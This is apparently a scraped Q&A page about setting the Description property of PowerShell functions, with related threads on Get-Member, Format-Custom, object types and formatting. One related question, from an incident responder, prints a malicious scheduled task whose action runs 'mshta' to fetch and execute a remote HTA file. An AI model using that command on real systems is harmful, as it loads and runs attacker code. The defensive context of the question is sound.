How to add value to description property of a powershell function? - powershell

I would like to populate the Description property of Powershell functions I create in my $PROFILE. I would like to add a value to the Description property such as "Created in personal PROFILE". Is this possible?
Currently if I examine the Description of my Functions I find none are populated, for example:
Get-Command -Type Function -Name get-* | Select-Object -Property Name, Description -First 10
Name Description
---- -----------
Get-AlertLog
Get-AllColors
Get-AppBackgroundTask
Get-AppvVirtualProcess
Get-AppxLastError
Get-AppxLog
Get-AssignedAccess
Get-AutologgerConfig
Get-BCClientConfiguration
Get-BCContentServerConfiguration
Having the value populated would allow me to search for and quickly see where my functions were created, or what they do, etc.
Thank You.
+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~+~
Note:
I do not want to retrieve the information via Get-Help, but rather populate some of the properties of Type: System.Management.Automation.FunctionInfo:
Get-Command -Type Function -Name Get-AllColors | Get-Member
TypeName: System.Management.Automation.FunctionInfo
Name MemberType Definition
---- ---------- ----------
Equals Method bool Equals(System.Object obj)
GetHashCode Method int GetHashCode()
GetType Method type GetType()
ResolveParameter Method System.Management.Automation.ParameterMetadata ResolveParameter(string name)
ToString Method string ToString()
CmdletBinding Property bool CmdletBinding {get;}
CommandType Property System.Management.Automation.CommandTypes CommandType {get;}
DefaultParameterSet Property string DefaultParameterSet {get;}
Definition Property string Definition {get;}
Description Property string Description {get;set;}
HelpFile Property string HelpFile {get;}
Module Property psmoduleinfo Module {get;}
ModuleName Property string ModuleName {get;}
Name Property string Name {get;}
Noun Property string Noun {get;}
Options Property System.Management.Automation.ScopedItemOptions Options {get;set;}
OutputType Property System.Collections.ObjectModel.ReadOnlyCollection[System.Management.Automation.PS...
Parameters Property System.Collections.Generic.Dictionary[string,System.Management.Automation.Paramet...
ParameterSets Property System.Collections.ObjectModel.ReadOnlyCollection[System.Management.Automation.Co...
RemotingCapability Property System.Management.Automation.RemotingCapability RemotingCapability {get;}
ScriptBlock Property scriptblock ScriptBlock {get;}
Source Property string Source {get;}
Verb Property string Verb {get;}
Version Property version Version {get;}
Visibility Property System.Management.Automation.SessionStateEntryVisibility Visibility {get;set;}
HelpUri ScriptProperty System.Object HelpUri {get=$oldProgressPreference = $ProgressPreference...
Another way to ask is "Why is there such a Type if there is not way to populate the Properties with values and retrieve them via Select-Object -Property?"
Thank You.

You should use comment based help instead of usage functions. Comment based help will allow you to work with the build in help system of PowerShell. It isn't hard to write and you don't even need to use all the sections.
Here is the TechNet on about_Comment_Based_Help, with some examples:
The syntax for comment-based Help is as follows:
# .< help keyword>
# <help content>
-or -
<#
.< help keyword>
< help content>
#>
You do have to make sure the categories are spelled correctly, otherwise the whole help on your function won't show up and you won't get an error message. A simple example that just has a synopsis and a description:
.SYNOPSIS
A brief description of the function or script. This keyword can be used
only once in each topic.
.DESCRIPTION
A detailed description of the function or script. This keyword can be
used only once in each topic.
Read the linked article for all the keywords and their descriptions. Similar information can be found by running get-help about_comment_based_help

So far the responses do not answer the actual question as asked, and it is a good question as is, even though adding Help is a good and useful idea, whether it is Comment Based or full XML Help.
The problem is that Comment Based Help only provides the "Description" for the functions HELP, and not it's properties as shown when you run Get-Command.
Getting the Description with Get-Command is a very useful and separate idea.
However, only some properties of a function are (directly) settable and we can discover this with Get-Member -membertype Property as shown in the original question and whose output includes (part of) the answer:
Description Property string Description {get;set;}
Member property 'Description' is directly SETTABLE, as shown as the end of the definition for the property: {get;set;}:
ANSWER: So we can easily set the functions actual Definition property with a direct assignment:*
(Get-Command -Type Function -Name Get-AllColors).Description = 'Defined in $Profile'
# or
(Get-Command -Type Function -Name Get-AllColors).Description = "Defined in the $Profile"
We can find all properties which are directly settable quite easily.
gcm mypshost | get-member | findstr "set;"
# Typically only shows 3 properties unless the function was defined in a module
Description
Options
Visibility
Or perhaps even better would be setting the "Source" property which is now included in the default output from Get-Command (though that is not so trivially set with direct assignment.)
Creating the function within a Module with a proper "Module Manifest" does allow for setting most/all of these properties that are typically blank on functions defined directly.
The Source will be the "module" that defines the function and the version will be set as well if it is set in the module.
Unfortunately, the "Set-ItemProperty" command is not supported by the "Function" PSProvider (as it is by the Registry Provider and many others. The following fails (on Version 2.0 and 5.1):
Set-ItemProperty function:mypshost -Name Description -Value 'only testing'
While it works with similar syntax for a file:
Set-ItemProperty (dir ic.ps1) -Name LastWriteTime -Value (get-date)
Another example is the "OutputType" which can be set by using one of the options in the [CmdletBinding()] attribute of an advanced function parameter block:

You can use Comment-Based Help to add a description (and lots of other information) to your functions:
SYNTAX FOR COMMENT-BASED HELP
The syntax for comment-based help is as follows:
# .< help keyword>
# <help content>
-or -
<#
.< help keyword>
< help content>
#>
Example:
function Add-Extension
{
param ([string]$Name,[string]$Extension = "txt")
$name = $name + "." + $extension
$name
<#
.SYNOPSIS
Adds a file name extension to a supplied name.
.DESCRIPTION
Adds a file name extension to a supplied name.
Takes any strings for the file name or extension.
}

I think what HerbM is looking for is a quick reminder what a function does, not a replacement for help. There is a good case for both. For example,I have a function that displays a list of commands and then executes them. If I enter:
EXAMPLE
gcm na|select -property name,description,DisplayName
Name Description DisplayName
---- ----------- -----------
NA RB Do a command with no arguments. NA -> Do_Noarg
GCM lists a short description that I included when I created the alias NA.
It would be useful if GCM would also list the description on functions instead of blanks as follows:
EXAMPLE
gcm do_noarg|select -property name,description,Definition
Name Description Definition
---- ----------- ----------
Do_Noarg dr ~\PS1\No_Arg\*.ps1 Invoke-Expression
I believe HerbM isn’t looking for gcm or any other tool to replace help but Just wants a quick single line description of a function.
If Description is just a placeholder for future releases of “function”, then please let everyone know.

Related

Drill-down further in Get-Member within PowerShell

I'm trying hard to learn PowerShell on my own and I'm asking this question after searching a lot on the Internet.
Get-ScheduledTask | Get-Member
The above command shows me the Properties and Methods. Now I want to further drill down into "Actions" but the maximum I'm able to is,
Get-ScheduledTask | Get-Member -Name Actions
Name MemberType Definition
---- ---------- ----------
Actions Property CimInstance#InstanceArray Actions {get;set;}
Ideally, if I want to peek into "Actions" I have to do this,
Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id :
Arguments : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute : C:\Windows\System32\cmd.exe
WorkingDirectory :
PSComputerName :
Side note, I do IR. And I'm building a script to very carefully automate the removal of bad Tasks.
:(
Get-Member performs reflection: its reports information about .NET types (classes) and their members (properties, methods, events, delegates) in the abstract.
This means that property values of the given instance of a type in the input are not included.
Also, Get-Member is not recursive: it only lists the member definitions of the type itself, not also the members' members.
As such, if the intent was to see the members of the types of the elements of the collection of type CimInstance#InstanceArray contained in the .Actions property, use the command suggested by zett42:
# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member
Note:
Since sending a collection (array) through the pipeline enumerates it - i.e. sends its elements, one by one, providing a collection to Get-Member via the pipeline returns information about the distinct types of that collection's elements.
To inspect a collection type itself, you must pass it to the InputObject parameter:
# Get information about the *collection type* stored in the .Actions property.
Get-Member -InputObject (Get-ScheduledTask).Actions
However, there is an - informal[1] - way to get a recursive representation of the structure of any given object instance, which even includes property values, namely via the Format-Custom cmdlet:
# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom
Note:
The recursion depth is limited to 5 by default, but you can increase or decrease it via the -Depth parameter.
As you can see below, the output from a deeply nested object can be lengthy.
Collection property values are enumerated up to 4 elements by default, but you can change that via the $FormatEnumerationLimit preference variable - see this answer for details.
Output of the above command (excerpt):
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
Actions =
[
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
{
Id =
Arguments = --scheduledautoupdate $(Arg0)
Execute = C:\Users\jdoe\AppData\Local\Programs\Opera\launcher.exe
WorkingDirectory =
PSComputerName =
}
]
Author = MKW10\jdoe
Date =
Description = Keeps Opera up to date.
Documentation =
Principal =
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
{
DisplayName =
GroupId =
Id = Author
LogonType = Interactive
RunLevel = Highest
UserId = jdoe
ProcessTokenSidType = Default
RequiredPrivilege =
PSComputerName =
}
...
[1] As with all Format-* cmdlets, Format-Custom outputs a rich string representation for the human observer, not for programmatic processing.
Actions is just a collection of another object extracted from WMI (CimInstance). When you define a Scheduled Task with PowerShell, you can in order:
Define a Principal: New-ScheduledTaskPrincipal
Define Task settings: New-ScheduledTaskSettingsSet
Define some Triggers: New-ScheduledTaskTrigger
Define some Actions: New-ScheduledTaskAction
Then create a task with these parameters:
New-ScheduledTask
And finally register the task:
Register-ScheduledTask
There are some advanced properties that may be accessible, by example on triggers of a task that can only be set once the task is created.
(Get-ScheduledTask)[0].Triggers[0].Repetition.Duration and then once defined you update the task with Set-ScheduledTask
All these cmdlets just hide the complexity of WMI class instances.

Multiple Write-Output

I'm trying to write a PowerShell script that will compare two variables, one containing a list of services currently running and the other a pre-defined list of ones that should to see the differences.
I want to display the differences whilst also displaying the current services running.
$compared = Compare-Object $spServices $spServices23 -SyncWindow 0
Write-Output $compared
if($sTask -eq "Read")
{
foreach ($spService in $spServices)
{
$out = new-object psobject
$out | add-member noteproperty TypeName $spService.TypeName
$out | add-member noteproperty Status $spService.Status
Write-Output $out
}
}
However, when I output the Compare-Object results it shows them but then comes up blank for the output of the $out variable.
Any help on how I can do this whilst keeping the output formatted.
PowerShell ALWAYS does its best to try to make sure it converts output into the most useful format. One of the ways it does this is by seeing the type of object that it is first displaying in a function, and ensuring that all future objects also match this format. Sometimes it's possible, and sometimes it's not.
In the case of your code, PowerShell executes and then tries to emit the results of Compare-Object, and succeeds. 'Compare-Object' emits an object that has these properties.
Name MemberType Definition
---- ---------- ----------
Equals Method bool Equals(System.Object obj)
GetHashCode Method int GetHashCode()
GetType Method type GetType()
ToString Method string ToString()
InputObject NoteProperty System.ServiceProcess.ServiceController InputObject=AdobeARMservice
SideIndicator NoteProperty string SideIndicator==>
These properties set the stage for what can also be emitted within this command, unless you do some fancy tricks. The reason you're not seeing the output of your later commands is that they don't also output the same properties.
To illustrate this quirk in action, see this code:
function Ham2{
[pscustomobject]#{Name='FoxDeploy';Job="Coder"}
[pscustomobject]#{Name='Ham';Profession="Coder"}
}
When this executes, the properties of the FIRST object emitted determine what gets displayed later on in the code. For example:
>ham2
Name Job
---- ---
FoxDeploy Coder
Ham
Working around this
There are a few ways to work around this.
First and foremost, a PowerShell best practice is that your scripts should ONLY emit one type of object. This is why functions have an .OUTPUT declaration available in their Help and [CmdletBinding()], PowerShell expects a command to issue only one type of object, plus maybe some -Verbose, or ErrorStream messages.
If you REALLY want to emit two types of objects, you could ensure that the first object has all of the properties you might ever want to display. Going back to my earlier example, if I added a Profession property to the first object, now my second object's Profession property will now become visible.
function Ham2{
[pscustomobject]#{Name='FoxDeploy';Job="Coder";Profession=''}
[pscustomobject]#{Name='Ham';Profession="Coder"}
}
PS C:\Users\Stephen> ham2
Name Job Profession
---- --- ----------
FoxDeploy Coder
Ham Coder
Probably what you want but not recommended
If you REALLY want to emit two or more different types of objects (which you surely don't, right?) then you can get around this quirk by using Format-List or Format-Table. Be warned: these convert the output into text formatting commands and you'll lose Object properties and people will generally think it was a hacky thing to do. But it will work.
function iFeelIcky{
$spservices = gsv AdobeARMservice,bits
$compared = Compare-Object (get-service bits,winrm) $spservices -SyncWindow 0
$compared | Format-Table
foreach ($spService in $spServices)
{
$out = new-object psobject
$out | add-member noteproperty DisplayName $spService.DisplayName
$out | add-member noteproperty Status $spService.Status
$out
}
}
C:\Users\Stephen> iFeelIcky
InputObject SideIndicator
----------- -------------
AdobeARMservice =>
bits <=
bits =>
winrm <=
DisplayName Status
----------- ------
Adobe Acrobat Update Service Running
Background Intelligent Transfer Service Running
}
I hope that helped! Let me know if you'd like me to dive deeper or for some reason want me to stay up on this soap box :-)

Determining object type

In this question we resolved our issue but there was one point that I have not learned yet.
Below comments in the above post:
My goal is - To call each file data based on indexing from nested array and remove last three lines. So-
$array = New-Object Sytem.Collections.Arraylist; Get-ChildItem C:\...\test | ForEach-Object { $array += ,#(Get-Content $_.FullName) }; $array[0].removerange($array[0].count-2,2)
But it throws error that removerange is not recognised. I checked - $array[0] | gm and removerange method was indeed not there. Just Remove and Removeat. How to proceed for this? - iamsmith41 Jan 11 at 22:14
#iamsmith41 Get-Content returns a System.Array, not a System.Collections.ArrayList. The former doesn't have a RemoveRange() method. Also, please don't move the target. If one of the answers resolves the problem described in your current question: please consider accepting that answer. If you have a new or followup question: please post a new question. - Ansgar Wiechers Jan 11 at 23:33
Ok. I marked the answer. But just let me know how to get it done( removerange() method ). Thanks in advance. - iamsmith41 2 days ago
$array += ,[Collections.ArrayList]#(Get-Content $_.FullName) should probably suffice. If you need further help please post a new question. - Ansgar Wiechers 2 days ago
How to know the object type like above that I have to use is Collections.ArrayList and so on? How to know that this is a System.Array and not System.Collections.ArrayList, etc.?
You can determine the type of an object via its GetType() method:
PS C:\> (Get-Item '.').GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True DirectoryInfo System.IO.FileSystemInfo
PS C:\> (Get-Item '.').GetType().FullName
System.IO.DirectoryInfo
or by using the Get-Member cmdlet:
PS C:\> Get-Item '.' | Get-Member
TypeName: System.IO.DirectoryInfo
Name MemberType Definition
---- ---------- ----------
Mode CodeProperty System.String Mode{get=Mode;}
Create Method void Create(), void Create(System.Securi...
CreateObjRef Method System.Runtime.Remoting.ObjRef CreateObj...
CreateSubdirectory Method System.IO.DirectoryInfo CreateSubdirecto...
...
The former provides meta information about an object, like its name, base type, which assembly its from, etc. (pipe the output of GetType() into Format-List * to get a full list).
The latter is mainly for obtaining information about the members (properties and methods) of an object (or the static members of a class if you use the parameter -Static). Note that if you want information about the members of a collection object you must use Get-Member -InputObject $col instead just $col | Get-Member, because using the pipeline would unroll the collection and you'd get the members of the collection elements rather than those of the collection object itself.
Once you know a class you'd normally look up further information in the documentation, e.g. by feeding a class or member name into your preferred search engine.
To get the Type name of a Object: (Get-Service | Get-Member)[0].TypeName
for looking at the type you can do:
expression | get-member
but if you can remove last 3 lines to file you can do it:
$yourfile='c:\temp\histo3.txt'
$content=Get-Content $yourfile
$content[0..[Math]::abs($content.Count - 4)] | Set-Content $yourfile

powershell - how to set a property

I'm working with an AD domain where i want to change pssword policy remotely via PowerShell.
I'm here:
$domain1 = New-Object System.DirectoryServices.DirectoryEntry("LDAP://test.com")
$domain |get-member
...
masteredBy Property System.DirectoryServices.PropertyValueCollection masteredBy {get;set;}
maxPwdAge Property System.DirectoryServices.PropertyValueCollection maxPwdAge {get;set;}
minPwdAge Property System.DirectoryServices.PropertyValueCollection minPwdAge {get;set;}
.....
--> At this point I see that there is {get;set;} in definition of these properties.
The question is: Does it means that you can set maxPwdAge in a way like:
$domain |set-property -name maxPwdAge -value XX
Please bear in mind that I can't use any cmdlet from active directory module because the remote domain doesn't have the Active Directory Web Services running.
This question is to understand the meaning of {get;set;} for properties and to find a PS way to set these values ;-)
In this case, those are read-only properties. You would need to edit the Group Policy or call legacy Net* APIs to programmatically change this.
Found it!!! ... in the easiest way :D
after defining $domain with:
$domain = New-Object System.DirectoryServices.DirectoryEntry("LDAP://test.com")
i can READ:
$domain.maxPwdAge
I can SET:
$domain.maxPwdAge = 10
$domain.setinfo()
I only missed 'setinfo()' method.....after that it finally works!

How can I summarize an object the same way Format-List does?

For example, looking at a processes threads shows something like this:
PS C:\> (Get-Process)[0] | Format-List -Property Threads
Threads : {1548, 1600, 15940, 13996}
But if you actually grab that property directly, it looks like this:
PS C:\> (Get-Process)[0].Threads
BasePriority : 8
CurrentPriority : 9
Id : 1548
IdealProcessor :
PriorityBoostEnabled :
PriorityLevel :
PrivilegedProcessorTime :
StartAddress : 8790537024736
StartTime :
ThreadState : Wait
TotalProcessorTime :
UserProcessorTime :
WaitReason : UserRequest
ProcessorAffinity :
Site :
Container :
BasePriority : 8
... etc
Format list obviously has a method to summarize objects intelligently. It took a list of objects, pulled out a representative property from each one, and displayed it as a short array. I cannot find a method or cmdlet that allows me to summarize an collection of objects in the same manner.
I want to be able to pass an arbitrary collection of objects to a method and have it summarize. This is used when listing email addresses in Exchange objects, listing groups in AD objects, and many other places... I doubt these are all special cases.
To expand (after learning more from #JoelSmith's comments):
.NET Objects have formatting definitions that are used by Powershell when formatting output. Additional details are available using help about_Format.ps1xml[1]. These definitions are generic and can be accessed by any command, but by default there are no functions in Powershell to directly retrieve the output of an object property directly as it would be displayed in Format-List.
One hackish workaround is to split and strip the output like so:
(Get-Mailbox user | Format-List -Property Languages | Out-String).Split(':')[1].Trim()
# => {en-US,fr-CA}
However this method is extremely fragile, and will fail when the output spans multiple lines or contains a colon in the output:
(Get-Mailbox user | Format-List -Property EmailAddresses | Out-String).Split(':')[1].Trim()
# => {smtp
What is needed is a method that reads the formatting definition defined for the object and retrieves it directly, then use it to output the desired string. I have failed to find any example online.
You can use the
PSStandardMembers.DefaultDisplayProperty
and
PSStandardMembers.DefaultDisplayPropertySet
properties of your objects to determine the default properties that should be displayed for each type. You can read more about it here. We've run into a similar problem recently in our like PowerShell project. You can find this discussion we've had helpful. There are some subtle differences between PS v2 and v3 which we debate on that thread.
Usually .ToString() works but sometimes they forget to implement that method.
(Get-Process)[0] | %{$_.Threads.Id}
EDIT: to answer your comment below
(Get-Process)[0] | Format-List -Property Threads | Out-String
Unfortunately not all cmdlets are the same.
Are you looking for something like this?
(Get-Process)[0].Threads | Format-Table -Property ID -AutoSize
Id
--
13060
13064
13068
13072
13076
13080
13084
This needs to be customized for each cmdlet depending on what the output is and what fields you need. The reason it doesn't work with just (Get-Process)[0] | Format-Table -Property Threads -AutoSize is because Threads returns thread-objects, and an array of objects are displayed like your first sample (string-presentation of your objects in a collection { .. }) .
Here's what I can tell so far:
The Id property is the default display property for a thread object (System.Diagnostics.ProcessThread).
I couldn't find any tracks of this in any of PowerShell's type files but I can change the way Format-* display threads (requires PowerShell 3.0).
By default the format cmdlets prints the Id value of each thread object:
Threads : {1548, 1600, 15940, 13996}
Formatting cmdlets checks the value of the $FormatEnumerationLimit variable (default is 4) to decide how to format the object.
If the result is one object (scalar) only it will print as:
Threads : 1548
If it's a collection of items and the collection count is up to the value of $FormatEnumerationLimit (4) it will display as:
Threads : {1548, 1600, 15940, 13996}
A count greater than $FormatEnumerationLimit will look like (... indicates that there are more objects):
Threads : {1548, 1600, 15940, 13996...}
I can tell Id is the default property in use because I can change it to another property and see its value reflecting in the output.
For example, Here I'm setting the ThreadState as the default display property:
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty ThreadState -Force
PS> (Get-Process)[0] | Format-List -Property Threads
Threads : {Wait, Wait, Wait, Wait...}
# revert back
PS> Update-TypeData -TypeName System.Diagnostics.ProcessThread -DefaultDisplayProperty Id -Force
Hope that helps